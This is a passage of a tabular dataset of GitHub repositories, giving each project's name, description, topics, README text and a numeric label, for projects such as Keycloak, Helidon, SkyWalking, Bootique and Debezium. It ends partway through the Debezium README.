full_name
stringlengths
7
104
description
stringlengths
4
725
topics
stringlengths
3
468
readme
stringlengths
13
565k
label
int64
0
1
keycloak/keycloak
Open Source Identity and Access Management For Modern Applications and Services
keycloak oidc saml
![Keycloak](https://github.com/keycloak/keycloak-misc/blob/main/logo/logo.svg) ![GitHub Release](https://img.shields.io/github/v/release/keycloak/keycloak?label=latest%20release) [![OpenSSF Best Practices](https://bestpractices.coreinfrastructure.org/projects/6818/badge)](https://bestpractices.coreinfrastructure.org/projects/6818) ![GitHub Repo stars](https://img.shields.io/github/stars/keycloak/keycloak?style=flat) ![GitHub commit activity](https://img.shields.io/github/commit-activity/m/keycloak/keycloak) # Open Source Identity and Access Management Add authentication to applications and secure services with minimum effort. No need to deal with storing users or authenticating users. Keycloak provides user federation, strong authentication, user management, fine-grained authorization, and more. ## Help and Documentation * [Documentation](https://www.keycloak.org/documentation.html) * [User Mailing List](https://groups.google.com/d/forum/keycloak-user) - Mailing list for help and general questions about Keycloak ## Reporting Security Vulnerabilities If you have found a security vulnerability, please look at the [instructions on how to properly report it](https://github.com/keycloak/keycloak/security/policy). ## Reporting an issue If you believe you have discovered a defect in Keycloak, please open [an issue](https://github.com/keycloak/keycloak/issues). Please remember to provide a good summary, description as well as steps to reproduce the issue. ## Getting started To run Keycloak, download the distribution from our [website](https://www.keycloak.org/downloads.html). Unzip and run: bin/kc.[sh|bat] start-dev Alternatively, you can use the Docker image by running: docker run quay.io/keycloak/keycloak start-dev For more details refer to the [Keycloak Documentation](https://www.keycloak.org/documentation.html). ## Building from Source To build from source, refer to the [building and working with the code base](docs/building.md) guide. ### Testing To run tests, refer to the [running tests](docs/tests.md) guide. ### Writing Tests To write tests, refer to the [writing tests](docs/tests-development.md) guide. ## Contributing Before contributing to Keycloak, please read our [contributing guidelines](CONTRIBUTING.md). Participation in the Keycloak project is governed by the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/main/code-of-conduct.md). ## Other Keycloak Projects * [Keycloak](https://github.com/keycloak/keycloak) - Keycloak Server and Java adapters * [Keycloak QuickStarts](https://github.com/keycloak/keycloak-quickstarts) - QuickStarts for getting started with Keycloak * [Keycloak Node.js Connect](https://github.com/keycloak/keycloak-nodejs-connect) - Node.js adapter for Keycloak ## License * [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0)
0
TheAlgorithms/Java
All Algorithms implemented in Java
algorithm algorithm-challenges algorithms algorithms-datastructures data-structures hacktoberfest java search sort sorting-algorithms
# The Algorithms - Java [![Build](https://github.com/TheAlgorithms/Java/actions/workflows/build.yml/badge.svg?branch=master)](https://github.com/TheAlgorithms/Java/actions/workflows/build.yml) [![codecov](https://codecov.io/gh/TheAlgorithms/Java/graph/badge.svg?token=XAdPyqTIqR)](https://codecov.io/gh/TheAlgorithms/Java) [![Discord chat](https://img.shields.io/discord/808045925556682782.svg?logo=discord&colorB=7289DA&style=flat-square)](https://discord.gg/c7MnfGFGa6) [![Gitpod ready-to-code](https://img.shields.io/badge/Gitpod-ready--to--code-blue?logo=gitpod)](https://gitpod.io/#https://github.com/TheAlgorithms/Java) You can run and edit the algorithms, or contribute to them using Gitpod.io (a free online development environment) with a single click. [![Open in Gitpod](https://gitpod.io/button/open-in-gitpod.svg)](https://gitpod.io/#https://github.com/TheAlgorithms/Java) ### All algorithms are implemented in Java (for educational purposes) These implementations are intended for learning purposes. As such, they may be less efficient than the Java standard library. ## Contribution Guidelines Please read our [Contribution Guidelines](CONTRIBUTING.md) before you contribute to this project. ## Algorithms Our [directory](DIRECTORY.md) has the full list of applications.
0
TencentCloud/TIMSDK
Tencent Cloud Chat features a comprehensive suite of solutions including global access, one-to-one chat, group chat, message push, profile and relationship chain hosting, and account authentication.
null
English | [简体中文](./README_ZH.md) Notice: If you open a pull request in TUIKit Android or iOS and the corresponding changes are successfully merged, your name will be included in README.md with a hyperlink to your homepage on GitHub. # Instant Messaging ## Product Introduction Build real-time social messaging capabilities with all the features into your applications and websites based on powerful and feature-rich chat APIs, SDKs and UIKit components. <table style="text-align:center; vertical-align:middle; width:440px"> <tr> <th style="text-align:center;" width="220px">Android Experience App</th> <th style="text-align:center;" width="220px">iOS Experience App</th> </tr> <tr> <td><img style="width:200px" src="https://qcloudimg.tencent-cloud.cn/raw/078fbb462abd2253e4732487cad8a66d.png"/></td> <td><img style="width:200px" src="https://qcloudimg.tencent-cloud.cn/raw/b1ea5318e1cfce38e4ef6249de7a4106.png"/></td> </tr> </table> TUIKit is a UI component library based on Tencent Cloud IM SDK. It provides universal UI components to offer features such as conversation, chat, search, relationship chain, group, and audio/video call features. <img src="https://qcloudimg.tencent-cloud.cn/raw/9c893f1a9c6368c82d44586907d5293d.png" style="zoom:50%;"/> ## Image Download Tencent Cloud branch download address: [Download](https://im.sdk.qcloud.com/download/github/TIMSDK.zip) ## SDK Download <table> <tr> <th width="94px" style="text-align:center" >Native SDK</td> <th width="0px" style="text-align:center" >Download Address</td> <th width="0px" style="text-align:center">Integration Guide</td> <th width="175px" style="text-align:center">Update Log</td> </tr> <tr> <td style="text-align:center">Android </td> <td style="text-align:center" ><a href="https://github.com/tencentyun/TIMSDK/tree/master/Android/IMSDK">GitHub (Recommended)</a></td> <td style="text-align:left" ><a href="https://www.tencentcloud.com/document/product/1047/50057">[Quick Integration] TUIKit Integration (Android)</a><br><a href="https://www.tencentcloud.com/document/product/1047/34306">[General Integration] SDK Integration (Android)</a></td> <td style="text-align:center" rowspan='5'><a href="https://intl.cloud.tencent.com/document/product/1047/34282">Update Log (Native)</a> </td> </tr> <tr> <td style="text-align:center">iOS </td> <td style="text-align:center" ><a href="https://github.com/tencentyun/TIMSDK/tree/master/iOS/IMSDK">GitHub (Recommended)</a></td> <td style="text-align:left" ><a href="https://www.tencentcloud.com/document/product/1047/50056">[Quick Integration] TUIKit Integration (iOS)</a><br><a href="https://www.tencentcloud.com/document/product/1047/34307">[General Integration] SDK Integration (iOS)</a></td> </tr> <tr> <td style="text-align:center">Mac </td> <td style="text-align:center" ><a href="https://github.com/tencentyun/TIMSDK/tree/master/Mac/IMSDK">GitHub (Recommended)</a></td> <td style="text-align:left" ><a href="https://www.tencentcloud.com/document/product/1047/34308">[General Integration] SDK Integration (Mac)</a></td> </tr> <tr> <td style="text-align:center">Windows </td> <td style="text-align:center" ><a href="https://github.com/tencentyun/TIMSDK/tree/master/Windows/IMSDK">GitHub (Recommended)</a></td> <td style="text-align:left" ><a href="https://www.tencentcloud.com/document/product/1047/34310">[General Integration] SDK Integration (Windows)</a></td> </tr> <tr> <td style="text-align:center">HarmonyOS </td> <td style="text-align:center" ><a href="https://github.com/tencentyun/TIMSDK/tree/master/HarmonyOS/IMSDK">GitHub (Recommended)</a></td> <td style="text-align:left" ><a href="https://cloud.tencent.com/document/product/269/103558">[General Integration] SDK Integration (HarmonyOS)</a></td> </tr> </table> ## TUIKit Integration <table > <tr> <th width="180px" style="text-align:center">Functional Module</th> <th width="180px" style="text-align:center">Platform</th> <th width="500px" style="text-align:center">Document Link</th> </tr> <tr > <td rowspan='2' style="text-align:center">TUIKit Library</td> <td style="text-align:center">iOS</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50062">TUIKit-iOS Library</a></td> </tr> <tr> <td style="text-align:center">Android</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50062">TUIKit-Android Library</a></td> </tr> <tr > <td rowspan='2' style="text-align:center">Quick Integration</td> <td style="text-align:center">iOS</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50056">TUIKit-iOS Quick Integration</a></td> </tr> <tr> <td style="text-align:center">Android</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50057">TUIKit-Android Quick Integration</a></td> </tr> <tr> <td rowspan='2' style="text-align:center">Modifying UI Themes</td> <td style="text-align:center">iOS</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50051">TUIKit-iOS Modifying UI Themes</a></td> </tr> <tr> <td style="text-align:center">Android</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50052">TUIKit-Android Modifying UI Themes</a></td> </tr> <tr> <td rowspan='2' style="text-align:center">Setting UI Styles</td> <td style="text-align:center">iOS</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50048">TUIKit-iOS Setting UI Styles</a></td> </tr> <tr> <td style="text-align:center">Android</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50049">TUIKit-Android Setting UI Styles</a></td> </tr> <tr> <td rowspan='2' style="text-align:center">Adding Custom Messages</td> <td style="text-align:center">iOS</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50043">TUIKit-iOS Adding Custom Messages</a></td> </tr> <tr> <td style="text-align:center">Android</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50044">TUIKit-Android Adding Custom Messages</a></td> </tr> <tr> <td rowspan='2' style="text-align:center">Implementing Local Search</td> <td style="text-align:center">iOS</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50037">TUIKit-iOS Implementing Local Search</a></td> </tr> <tr> <td style="text-align:center">Android</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50038">TUIKit-Android Implementing Local Search</a></td> </tr> <tr> <td rowspan='2' style="text-align:center">Integrating Offline Push</td> <td style="text-align:center">iOS</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50033">TUIKit-iOS Integrating Offline Push</a></td> </tr> <tr> <td style="text-align:center">Android</td> <td style="text-align:center"><a href="https://www.tencentcloud.com/document/product/1047/50034">TUIKit-Android Integrating Offline Push</a></td> </tr> </table> ## Guidelines for Upgrading IMSDK to V2 APIs [API Upgrade Guidelines](https://docs.qq.com/sheet/DS3lMdHpoRmpWSEFW) ## Latest Enhanced Version 7.9.5666 @2024.04.07 ### SDK - New visionOS SDK, compatible with Apple Vision Pro - Group conversation supports message pinning - Add the function of receiving group @ reminder offline notifications during Do Not Disturb mode - Support setting friend remarks in the "Accept Friend Request" interface - Add handling of invitations to join groups - Upgrade vivo push package version in TIMPush - Fix OV device crash issue in TIMPush - Add OfflinePushExtInfo support for push through feature in TIMPush - Fix the issue of not receiving the notification of being kicked out due to network disconnection - Fix the issue of occasionally not receiving group messages when joining a live group immediately in the login callback - Fix the issue of still receiving session change callbacks after receiving the delete session callback - Fix the issue of occasional reset of local data in messages - Fix the issue of frequent triggering of onRecvMessageModified callback when fetching historical messages - Fix the issue of no return value and no support for optional values in some Swift interfaces - Fix the multi-endpoint login exception caused by iCloud sync between different types of devices with the same AppleID - Fix related issues of communities and topics - Fix the issue of failing to fetch historical messages on HarmonyOS platform - Upgrade libcurl in Windows platform to 8.4.0 - Fix the issue of duplicate summary in merged forwarded messages in C++ interface - Fix the issue of unable to download large images in C++ interface - Fix the issue of incorrect group type in C++ interface - Fix the issue of unable to set message custom data in C++ interface - Fix the forwarding message failure in C++ interface ### TUIKit & Demo - iOS components provide PrivacyInfo.xcprivacy privacy list file - TUIChatBot plugin supports markdown text display - TUIChat chat page header supports displaying call status
0
helidon-io/helidon
Java libraries for writing microservices
java microprofile microservice-framework netty reactive
<p align="center"> <img src="./etc/images/Primary_logo_blue.png"> </p> <p align="center"> <a href="https://github.com/heldon-io/helidon/tags"> <img src="https://img.shields.io/github/tag/helidon-io/helidon.svg" alt="latest version"> </a> <a href="https://github.com/helidon-io/helidon/issues"> <img src="https://img.shields.io/github/issues/helidon-io/helidon.svg" alt="latest version"> </a> <a href="https://twitter.com/intent/follow?screen_name=helidon_project"> <img src="https://img.shields.io/twitter/follow/helidon_project.svg?style=social&logo=twitter" alt="follow on Twitter"> </a> </p> # Helidon: Java Libraries for Microservices Project Helidon is a set of Java Libraries for writing microservices. Helidon supports two programming models: * Helidon MP: [MicroProfile 6.0](https://github.com/eclipse/microprofile/releases/tag/6.0) * Helidon SE: a small, functional style API In either case your application is a Java SE program running on the new Helidon Níma WebServer that has been written from the ground up to use Java 21 Virtual Threads. With Helidon 4 you get the high throughput of a reactive server with the simplicity of thread-per-request style programming. The Helidon SE API in Helidon 4 has changed significantly from Helidon 3. The use of virtual threads has enabled these APIs to change from asynchronous to blocking. This results in much simpler code that is easier to write, maintain, debug and understand. Earlier Helidon SE code will require modification to run on these new APIs. For more information see the [Helidon SE Upgrade Guide](https://helidon.io/docs/v4/#/se/guides/upgrade_4x). Helidon 4 supports MicroProfile 6. This means your existing Helidon MP 3.x applications will run on Helidon 4 with only minor modifications. And since Helidon’s MicroProfile server is based on the new Níma WebServer you get all the benefits of running on virtual threads. For more information see the [Helidon MP Upgrade Guide](https://helidon.io/docs/v4/#/mp/guides/upgrade_4x). New to Helidon? Then jump in and [get started](https://helidon.io/docs/v4/#/about/prerequisites). Java 21 is required to use Helidon 4. ## License Helidon is available under Apache License 2.0. ## Documentation Latest documentation and javadocs are available at <https://helidon.io/docs/latest>. Helidon White Paper is available [here](https://www.oracle.com/a/ocom/docs/technical-brief--helidon-report.pdf). ## Get Started See Getting Started at <https://helidon.io>. ## Downloads / Accessing Binaries There are no Helidon downloads. Just use our Maven releases (GroupID `io.helidon`). See Getting Started at <https://helidon.io>. ## Helidon CLI macOS: ```bash curl -O https://helidon.io/cli/latest/darwin/helidon chmod +x ./helidon sudo mv ./helidon /usr/local/bin/ ``` Linux: ```bash curl -O https://helidon.io/cli/latest/linux/helidon chmod +x ./helidon sudo mv ./helidon /usr/local/bin/ ``` Windows: ```bat PowerShell -Command Invoke-WebRequest -Uri "https://helidon.io/cli/latest/windows/helidon.exe" -OutFile "C:\Windows\system32\helidon.exe" ``` See this [document](HELIDON-CLI.md) for more info. ## Build You need JDK 21 to build Helidon 4. You also need Maven. We recommend 3.8.0 or newer. **Full build** ```bash $ mvn install ``` **Checkstyle** ```bash # cd to the component you want to check $ mvn validate -Pcheckstyle ``` **Copyright** ```bash # cd to the component you want to check $ mvn validate -Pcopyright ``` **Spotbugs** ```bash # cd to the component you want to check $ mvn verify -Pspotbugs ``` **Documentatonn** ```bash # At the root of the project $ mvn site ``` **Build Scripts** Build scripts are located in `etc/scripts`. These are primarily used by our pipeline, but a couple are handy to use on your desktop to verify your changes. * `copyright.sh`: Run a full copyright check * `checkstyle.sh`: Run a full style check ## Get Help * See the [Helidon FAQ](https://github.com/oracle/helidon/wiki/FAQ) * Ask questions on Stack Overflow using the [helidon tag](https://stackoverflow.com/tags/helidon) * Join us on Slack: [#helidon-users](http://slack.helidon.io) ## Get Involved * Learn how to [contribute](CONTRIBUTING.md) * See [issues](https://github.com/oracle/helidon/issues) for issues you can help with ## Stay Informed * Twitter: [@helidon_project](https://twitter.com/helidon_project) * Blog: [Helidon on Medium](https://medium.com/helidon)
0
elastic/elasticsearch
Free and Open, Distributed, RESTful Search Engine
elasticsearch java search-engine
null
0
HelloWorld521/Java
java项目实战练习
java
# Java ##### [中文](README_ZH.md) ## Project Descriptions Below here are some of my java project exercise codes, I would like to share it with everyone, hope that we are able to improve with everyone! ## Java Projects * [swagger2-boot-starter](https://github.com/HelloWorld521/swagger2-boot-starter) * [SpringBoot-Shiro](./springboot-shiro/) * [SECKILL](./seckill/) * [Woss2.0 ](./woss/) * [tomcatServlet3.0 Web Server](./tomcatServer3.0/) * [ServletAjax ](./ServletAjax/) * [JspChat jsp Chatroom](./JspChat/) * [eStore library system](./estore/) * [checkcode Java captcha code generator](./checkcode/) * [IMOOCSpider easy internet spider](./IMOOCSpider/) ## Last If any of the projects above is able to help you out, please do click on "Star" on top right-hand-site. Thank you!
0
apache/skywalking
APM, Application Performance Monitoring System
apm dapper distributed-tracing ebpf logging metrics observability open-telemetry prometheus service-mesh skywalking telegraf web-performance zabbix
Apache SkyWalking ========== <img src="http://skywalking.apache.org/assets/logo.svg" alt="Sky Walking logo" height="90px" align="right" /> **SkyWalking**: an APM (Application Performance Monitoring) system, especially designed for microservices, cloud native and container-based architectures. [![GitHub stars](https://img.shields.io/github/stars/apache/skywalking.svg?style=for-the-badge&label=Stars&logo=github)](https://github.com/apache/skywalking) [![Twitter Follow](https://img.shields.io/twitter/follow/asfskywalking.svg?style=for-the-badge&label=Follow&logo=twitter)](https://twitter.com/AsfSkyWalking) [![Maven Central](https://img.shields.io/maven-central/v/org.apache.skywalking/apache-skywalking-apm.svg)](http://skywalking.apache.org/downloads/) # Abstract **SkyWalking** is an open-source APM system that provides monitoring, tracing and diagnosing capabilities for distributed systems in Cloud Native architectures. * Distributed Tracing * End-to-end distributed tracing. Service topology analysis, service-centric observability and APIs dashboards. * Agents for your stack * Java, .Net Core, PHP, NodeJS, Golang, LUA, Rust, C++, Client JavaScript and Python agents with active development and maintenance. * eBPF early adoption * Rover agent works as a monitor and profiler powered by eBPF to monitor Kubernetes deployments and diagnose CPU and network performance. * Scaling * 100+ billion telemetry data could be collected and analyzed from one SkyWalking cluster. * Mature Telemetry Ecosystems Supported * Metrics, Traces, and Logs from mature ecosystems are supported, e.g. Zipkin, OpenTelemetry, Prometheus, Zabbix, Fluentd * Native APM Database * BanyanDB, an observability database, created in 2022, aims to ingest, analyze and store telemetry/observability data. * Consistent Metrics Aggregation * SkyWalking native meter format and widely known metrics format(OpenTelemetry, Telegraf, Zabbix, e.g.) are processed through the same script pipeline. * Log Management Pipeline * Support log formatting, extract metrics, various sampling policies through script pipeline in high performance. * Alerting and Telemetry Pipelines * Support service-centric, deployment-centric, API-centric alarm rule setting. Support forwarding alarms and all telemetry data to 3rd party. <img src="https://skywalking.apache.org/images/home/architecture.svg?t=20220513"/> # Live Demo - Find the [SkyWalking live demo with native UI and Grafana](https://skywalking.apache.org/#demo), and [screenshots](https://skywalking.apache.org/#arch) on our website. - Follow the [showcase](https://skywalking.apache.org/docs/skywalking-showcase/next/readme/) to set up a preview deployment quickly. # Documentation - [Official documentation](https://skywalking.apache.org/docs/#SkyWalking) # Downloads Please head to the [releases page](https://skywalking.apache.org/downloads/) to download a release of Apache SkyWalking. # Compiling project Follow this [document](docs/en/guides/How-to-build.md). # Code of conduct This project adheres to the Contributor Covenant [code of conduct](https://www.apache.org/foundation/policies/conduct). By participating, you are expected to uphold this code. Please follow the [REPORTING GUIDELINES](https://www.apache.org/foundation/policies/conduct#reporting-guidelines) to report unacceptable behavior. # Contact Us * Mail list: **dev@skywalking.apache.org**. Mail to `dev-subscribe@skywalking.apache.org`, follow the reply to subscribe the mail list. * Send `Request to join SkyWalking slack` mail to the mail list(`dev@skywalking.apache.org`), we will invite you in. * For Chinese speaker, send `[CN] Request to join SkyWalking slack` mail to the mail list(`dev@skywalking.apache.org`), we will invite you in. * Twitter, [ASFSkyWalking](https://twitter.com/AsfSkyWalking) * [bilibili B站 视频](https://space.bilibili.com/390683219) * [掘金](https://juejin.cn/user/13673577331607/posts) # Our Users Hundreds of companies and organizations use SkyWalking for research, production, and commercial purposes. Visit our [website](http://skywalking.apache.org/users/) to find the user page. # License [Apache 2.0 License.](LICENSE)
0
ag2s20150909/TTS
null
null
null
0
bootique/bootique
Bootique is a minimally opinionated platform for modern runnable Java apps.
bootique dependency-injection guice java runnable-jar
<!-- Licensed to ObjectStyle LLC under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ObjectStyle LLC licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> [![build test deploy](https://github.com/bootique/bootique/workflows/build%20test%20deploy/badge.svg)](https://github.com/bootique/bootique/actions) [![Maven Central](https://img.shields.io/maven-central/v/io.bootique/bootique.svg?colorB=brightgreen)](https://search.maven.org/artifact/io.bootique/bootique) Bootique is a [minimally opinionated](https://medium.com/@andrus_a/bootique-a-minimally-opinionated-platform-for-modern-java-apps-644194c23872#.odwmsbnbh) java launcher and integration technology. It is intended for building container-less runnable Java applications. With Bootique you can create REST services, webapps, jobs, DB migration tasks, etc. and run them as if they were simple commands. No JavaEE container required! Among other things Bootique is an ideal platform for Java [microservices](http://martinfowler.com/articles/microservices.html), as it allows you to create a fully-functional app with minimal setup. Each Bootique app is a collection of modules interacting with each other via dependency injection. This GitHub project provides Bootique core. Bootique team also develops a number of important modules. A full list is available [here](http://bootique.io/docs/). ## Quick Links * [WebSite](https://bootique.io) * [Getting Started](https://bootique.io/docs/2.x/getting-started/) * [Docs](https://bootique.io/docs/) - documentation collection for Bootique core and all standard modules. ## Support You have two options: * [Open an issue](https://github.com/bootique/bootique/issues) on GitHub with a label of "help wanted" or "question" (or "bug" if you think you found a bug). * Post a question on the [Bootique forum](https://groups.google.com/forum/#!forum/bootique-user). ## TL;DR For the impatient, here is how to get started with Bootique: * Declare the official module collection: ```xml <dependencyManagement> <dependencies> <dependency> <groupId>io.bootique.bom</groupId> <artifactId>bootique-bom</artifactId> <version>3.0-M3</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> ``` * Include the modules that you need: ```xml <dependencies> <dependency> <groupId>io.bootique.jersey</groupId> <artifactId>bootique-jersey</artifactId> </dependency> <dependency> <groupId>io.bootique.logback</groupId> <artifactId>bootique-logback</artifactId> </dependency> </dependencies> ``` * Write your app: ```java package com.foo; import io.bootique.Bootique; public class Application { public static void main(String[] args) { Bootique .app(args) .autoLoadModules() .exec() .exit(); } } ``` It has ```main()``` method, so you can run it! *For a more detailed tutorial proceed to [this link](https://bootique.io/docs/2.x/getting-started/).* ## Upgrading See the "maven-central" badge above for the current production version of ```bootique-bom```. When upgrading, don't forget to check [upgrade notes](https://github.com/bootique/bootique/blob/master/UPGRADE.md) specific to your version.
0
debezium/debezium
Change data capture for a variety of databases. Please log issues at https://issues.redhat.com/browse/DBZ.
apache-kafka cdc change-data-capture database debezium event-streaming kafka kafka-connect kafka-producer
[![License](http://img.shields.io/:license-apache%202.0-brightgreen.svg)](http://www.apache.org/licenses/LICENSE-2.0.html) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.debezium/debezium-parent/badge.svg)](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22io.debezium%22) [![User chat](https://img.shields.io/badge/chat-users-brightgreen.svg)](https://debezium.zulipchat.com/#narrow/stream/302529-users) [![Developer chat](https://img.shields.io/badge/chat-devs-brightgreen.svg)](https://debezium.zulipchat.com/#narrow/stream/302533-dev) [![Google Group](https://img.shields.io/:mailing%20list-debezium-brightgreen.svg)](https://groups.google.com/forum/#!forum/debezium) [![Stack Overflow](http://img.shields.io/:stack%20overflow-debezium-brightgreen.svg)](http://stackoverflow.com/questions/tagged/debezium) Copyright Debezium Authors. Licensed under the [Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0). The Antlr grammars within the debezium-ddl-parser module are licensed under the [MIT License](https://opensource.org/licenses/MIT). English | [Chinese](README_ZH.md) | [Japanese](README_JA.md) | [Korean](README_KO.md) # Debezium Debezium is an open source project that provides a low latency data streaming platform for change data capture (CDC). You set up and configure Debezium to monitor your databases, and then your applications consume events for each row-level change made to the database. Only committed changes are visible, so your application doesn't have to worry about transactions or changes that are rolled back. Debezium provides a single model of all change events, so your application does not have to worry about the intricacies of each kind of database management system. Additionally, since Debezium records the history of data changes in durable, replicated logs, your application can be stopped and restarted at any time, and it will be able to consume all of the events it missed while it was not running, ensuring that all events are processed correctly and completely. Monitoring databases and being notified when data changes has always been complicated. Relational database triggers can be useful, but are specific to each database and often limited to updating state within the same database (not communicating with external processes). Some databases offer APIs or frameworks for monitoring changes, but there is no standard so each database's approach is different and requires a lot of knowledged and specialized code. It still is very challenging to ensure that all changes are seen and processed in the same order while minimally impacting the database. Debezium provides modules that do this work for you. Some modules are generic and work with multiple database management systems, but are also a bit more limited in functionality and performance. Other modules are tailored for specific database management systems, so they are often far more capable and they leverage the specific features of the system. ## Basic architecture Debezium is a change data capture (CDC) platform that achieves its durability, reliability, and fault tolerance qualities by reusing Kafka and Kafka Connect. Each connector deployed to the Kafka Connect distributed, scalable, fault tolerant service monitors a single upstream database server, capturing all of the changes and recording them in one or more Kafka topics (typically one topic per database table). Kafka ensures that all of these data change events are replicated and totally ordered, and allows many clients to independently consume these same data change events with little impact on the upstream system. Additionally, clients can stop consuming at any time, and when they restart they resume exactly where they left off. Each client can determine whether they want exactly-once or at-least-once delivery of all data change events, and all data change events for each database/table are delivered in the same order they occurred in the upstream database. Applications that don't need or want this level of fault tolerance, performance, scalability, and reliability can instead use Debezium's *embedded connector engine* to run a connector directly within the application space. They still want the same data change events, but prefer to have the connectors send them directly to the application rather than persist them inside Kafka. ## Common use cases There are a number of scenarios in which Debezium can be extremely valuable, but here we outline just a few of them that are more common. ### Cache invalidation Automatically invalidate entries in a cache as soon as the record(s) for entries change or are removed. If the cache is running in a separate process (e.g., Redis, Memcache, Infinispan, and others), then the simple cache invalidation logic can be placed into a separate process or service, simplifying the main application. In some situations, the logic can be made a little more sophisticated and can use the updated data in the change events to update the affected cache entries. ### Simplifying monolithic applications Many applications update a database and then do additional work after the changes are committed: update search indexes, update a cache, send notifications, run business logic, etc. This is often called "dual-writes" since the application is writing to multiple systems outside of a single transaction. Not only is the application logic complex and more difficult to maintain, dual writes also risk losing data or making the various systems inconsistent if the application were to crash after a commit but before some/all of the other updates were performed. Using change data capture, these other activities can be performed in separate threads or separate processes/services when the data is committed in the original database. This approach is more tolerant of failures, does not miss events, scales better, and more easily supports upgrading and operations. ### Sharing databases When multiple applications share a single database, it is often non-trivial for one application to become aware of the changes committed by another application. One approach is to use a message bus, although non-transactional message busses suffer from the "dual-writes" problems mentioned above. However, this becomes very straightforward with Debezium: each application can monitor the database and react to the changes. ### Data integration Data is often stored in multiple places, especially when it is used for different purposes and has slightly different forms. Keeping the multiple systems synchronized can be challenging, but simple ETL-type solutions can be implemented quickly with Debezium and simple event processing logic. ### CQRS The [Command Query Responsibility Separation (CQRS)](http://martinfowler.com/bliki/CQRS.html) architectural pattern uses a one data model for updating and one or more other data models for reading. As changes are recorded on the update-side, those changes are then processed and used to update the various read representations. As a result CQRS applications are usually more complicated, especially when they need to ensure reliable and totally-ordered processing. Debezium and CDC can make this more approachable: writes are recorded as normal, but Debezium captures those changes in durable, totally ordered streams that are consumed by the services that asynchronously update the read-only views. The write-side tables can represent domain-oriented entities, or when CQRS is paired with [Event Sourcing](http://martinfowler.com/eaaDev/EventSourcing.html) the write-side tables are the append-only event log of commands. ## Building Debezium The following software is required to work with the Debezium codebase and build it locally: * [Git](https://git-scm.com) 2.2.1 or later * JDK 17 or later, e.g. [OpenJDK](http://openjdk.java.net/projects/jdk/) * [Docker Engine](https://docs.docker.com/engine/install/) or [Docker Desktop](https://docs.docker.com/desktop/) 1.9 or later * [Apache Maven](https://maven.apache.org/index.html) 3.8.4 or later (or invoke the wrapper with `./mvnw` for Maven commands) See the links above for installation instructions on your platform. You can verify the versions are installed and running: $ git --version $ javac -version $ mvn -version $ docker --version ### Why Docker? Many open source software projects use Git, Java, and Maven, but requiring Docker is less common. Debezium is designed to talk to a number of external systems, such as various databases and services, and our integration tests verify Debezium does this correctly. But rather than expect you have all of these software systems installed locally, Debezium's build system uses Docker to automatically download or create the necessary images and start containers for each of the systems. The integration tests can then use these services and verify Debezium behaves as expected, and when the integration tests finish, Debezium's build will automatically stop any containers that it started. Debezium also has a few modules that are not written in Java, and so they have to be required on the target operating system. Docker lets our build do this using images with the target operating system(s) and all necessary development tools. Using Docker has several advantages: 1. You don't have to install, configure, and run specific versions of each external services on your local machine, or have access to them on your local network. Even if you do, Debezium's build won't use them. 1. We can test multiple versions of an external service. Each module can start whatever containers it needs, so different modules can easily use different versions of the services. 1. Everyone can run complete builds locally. You don't have to rely upon a remote continuous integration server running the build in an environment set up with all the required services. 1. All builds are consistent. When multiple developers each build the same codebase, they should see exactly the same results -- as long as they're using the same or equivalent JDK, Maven, and Docker versions. That's because the containers will be running the same versions of the services on the same operating systems. Plus, all of the tests are designed to connect to the systems running in the containers, so nobody has to fiddle with connection properties or custom configurations specific to their local environments. 1. No need to clean up the services, even if those services modify and store data locally. Docker *images* are cached, so reusing them to start containers is fast and consistent. However, Docker *containers* are never reused: they always start in their pristine initial state, and are discarded when they are shutdown. Integration tests rely upon containers, and so cleanup is handled automatically. ### Configure your Docker environment The Docker Maven Plugin will resolve the docker host by checking the following environment variables: export DOCKER_HOST=tcp://10.1.2.2:2376 export DOCKER_CERT_PATH=/path/to/cdk/.vagrant/machines/default/virtualbox/.docker export DOCKER_TLS_VERIFY=1 These can be set automatically if using Docker Machine or something similar. ### Building the code First obtain the code by cloning the Git repository: $ git clone https://github.com/debezium/debezium.git $ cd debezium Then build the code using Maven: $ mvn clean verify The build starts and uses several Docker containers for different DBMSes. Note that if Docker is not running or configured, you'll likely get an arcane error -- if this is the case, always verify that Docker is running, perhaps by using `docker ps` to list the running containers. ### Don't have Docker running locally for builds? You can skip the integration tests and docker-builds with the following command: $ mvn clean verify -DskipITs ### Building just the artifacts, without running tests, CheckStyle, etc. You can skip all non-essential plug-ins (tests, integration tests, CheckStyle, formatter, API compatibility check, etc.) using the "quick" build profile: $ mvn clean verify -Dquick This provides the fastest way for solely producing the output artifacts, without running any of the QA related Maven plug-ins. This comes in handy for producing connector JARs and/or archives as quickly as possible, e.g. for manual testing in Kafka Connect. ### Running tests of the Postgres connector using the wal2json or pgoutput logical decoding plug-ins The Postgres connector supports three logical decoding plug-ins for streaming changes from the DB server to the connector: decoderbufs (the default), wal2json, and pgoutput. To run the integration tests of the PG connector using wal2json, enable the "wal2json-decoder" build profile: $ mvn clean install -pl :debezium-connector-postgres 